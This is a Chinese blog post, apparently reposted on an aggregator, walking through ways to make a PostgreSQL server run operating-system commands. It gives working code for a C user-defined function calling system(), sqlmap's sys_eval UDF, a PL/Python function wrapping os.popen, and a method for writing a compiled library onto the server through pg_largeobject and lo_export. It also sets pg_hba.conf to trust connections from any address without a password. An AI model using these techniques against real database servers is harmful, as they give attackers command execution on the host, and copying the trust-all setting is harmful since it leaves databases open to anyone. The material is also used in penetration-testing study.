如何利用postgresql执行操作系统命令?

Posted 黄老湿的地摊

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何利用postgresql执行操作系统命令?相关的知识,希望对你有一定的参考价值。

 

2018/12/13 星期四 阴


研究某国产数据库玩玩,发现跟postgresql长的太像了,所以顺便就折腾了一下postgres。


1、安装配置

安装依赖包:

sudo apt-get install zlib1g-dev
sudo apt-get install libreadline-dev

常规编译:

./configure --prefix=/opt/psql --with-python

老版本8.2.0编译完成之后,运行报错,可以尝试编译:

sudo apt-get install gcc-4.7
make clean;
./configure CC='gcc-4.7 -m64' --prefix=/opt/psql --with-python
make && make install

安装目录

 /opt/psql/bin里面放的是可执行命令,比如createdb之类的;
/opt/psql/lib里面放的是库文件;
/opt/psql/include里面放的是头文件;
/opt/psql/share是相关的资源文件。

设置客户端环境变量:

编辑/home/postgres下的.bash_profile,设置以下的环境变量

export PGHOME=/opt/psql  (安装目录)

export PGDATA=~/data        (数据存放的目录,存放在postgres用户目录下)

export PATH=$PATH:$HOME/bin:$PGHOME/bin

然后source一下
source  ~/.bash_profile
使环境变量生效。

初始化数据库:

initdb

启动数据库:

postgres -D /home/docker/data
pg_ctl -D /home/docker/data -l logfile start

连接数据库:

psql -d postgres

 

2、执行命令

2.1 第一种执行命令方式:老版本利用系统自带库函数

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;

位置不一定是这个可以是

/lib/x86_64-linux-gnu/libc.so.6

报错:
postgres=# CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
ERROR:  could not access file "/lib/libc.so.6": No such file or directory
postgres=# CREATE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
ERROR:  incompatible library "/lib/x86_64-linux-gnu/libc.so.6": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码

经实际测试即使postgresql8.2.0也不能直接调用第三方库函数,可能之前的更老的7版本的有这个可能。

2.2 第二种执行命令方式:利用udf自定义函数

可以利用现成的udf,sqlmap已经提供,不过是异或加密的,需要先解密出来

cloak.py -i lib_postgresqludf_sys.so_ -o 82udf.so
gcc -Wall -I/opt/psql/include/postgresql/server  -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

如果嫌弃这个sqlmap的 udf有点庞大,可以利用下面这个

简短的C利用代码:

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
    system("/bin/touch /tmp/fuck.txt");
}

编译

gcc cmd.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so

create or replace function exec(text) returns text as '/tmp/udf.so','exec' language c strict;

select exec('');

 

2.3 第三种方式:利用第三方扩展

PostgreSQL可以支持多种存储过程语言,官方支持的除了PL/pgSQL,还有TCL,Perl,Python
编译的时候需要加上 --with-perl --with-tcl --with-python

查看支持哪些扩展语言

select * from pg_language

启用扩展

create extension plpythonu;

由于Python有Python2和Python3两个版本,以上是使用默认的Python,也就是Python2。如果需要指明是哪个Python版本,可以将上述命令中的plpythonu替换成plpython2u或plpython3u。

某些版本或者可以用 create language,效果一样

create language plpythonu

 

CREATE FUNCTION exec_cmd (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpythonu;

select exec_cmd('whoami');

 

删除函数:

DROP FUNCTION exec_cmd(text);

如果不需要PL/Python了,可以将这个扩展drop掉,

drop extension plpythonu;

可以通过\df查看定义有哪些函数。

postgres=# \df exec
                        List of functions
 Schema | Name | Result data type | Argument data types |  Type
--------+------+------------------+---------------------+--------
 public | exec | text             | text                | normal
(1 row)

库目录:

/opt/psql/lib/postgresql
/home/docker/postgresql-8.2.0/src/pl/plpython

3、传输二进制大文件

要把本机生成的82sqlmapudf.so导出到服务端,可以采用 pg_largeobject“大对象数据”,最大是2k
命令:

split -b 2048 /tmp/82sqlmapudf.so

执行之后,在本目录下生成xa序列文件

base64 -w 0 xaa

获取base64编码后的字符

select lo_creat(-1);

获取oid的值为32789;
oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。

delete from pg_largeobject where loid=32789;

等于变相清空"页面",不要干扰库的生成

把base64编码过后的文件插入pg_largeobject表

INSERT INTO pg_largeobject (loid, pageno, data) values (32789,0, decode('base64xaa', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (32789,1, decode('base64xab', 'base64'));

利用PostgreSQL自带函数将大型对象导出到文件

SELECT lo_export(32789, '/tmp/cmd.so');

然后利用方式跟上面c函数库一样的方式create function。

自动化的方式采用pg_exec,效率非常高,不容易出错

https://github.com/Dionach/pgexec/tree/master

 

4、其它信息

查看版本:

psql --version
select version();
show server_version;
SHOW server_version_num;
SELECT current_setting('server_version_num');
SELECT current_setting('server_version_num');返回类型为text,如果需要可以转换为interger
SELECT current_setting('server_version_num')::integer;

查看PostgreSQL目录

SELECT setting FROM pg_settings

查看支持哪些扩展语言

select * from pg_language;

表操作:

createdb test
CREATE TABLE mytable (id VARCHAR(20), name VARCHAR(30));
INSERT INTO mytable VALUES('author', 'alice');
SELECT * FROM mytable;
\q

 

vi ~/data/pg_hba.conf

#在文件的最下方加上下面的这句话

host    all         all         0.0.0.0/0             trust

#设置监听整个网络,查找“listen_addresses ”字符串,

vi ~/data/postgresql.conf

#修改为如下:

listen_addresses = '*'

 

5、参考

Postgres SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

PostgreSQL 9.x Remote Command Execution
https://www.dionach.com/blog/postgresql-9x-remote-command-execution

https://www.jianshu.com/p/ba0297da2c2e

https://yq.aliyun.com/articles/424721

https://wooyun.js.org/drops/Hacking%20PostgreSQL.html

Hacking PostgreSQL
https://wooyun.js.org/drops/Hacking%20PostgreSQL.html
pgexec工具
https://github.com/Dionach/pgexec/tree/master

https://postgres.cz/wiki/PostgreSQL_SQL_Tricks

https://github.com/sqlmapproject/udfhack/


以上是关于如何利用postgresql执行操作系统命令?的主要内容,如果未能解决你的问题,请参考以下文章

postgresql如何执行sql文件

安全测试===sqlmap(叁)转载

PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记

PostgreSQL操作-psql基本命令

如何安装PostgreSQL

如何写.bat文件,连接PostgreSQl,执行SQL文件.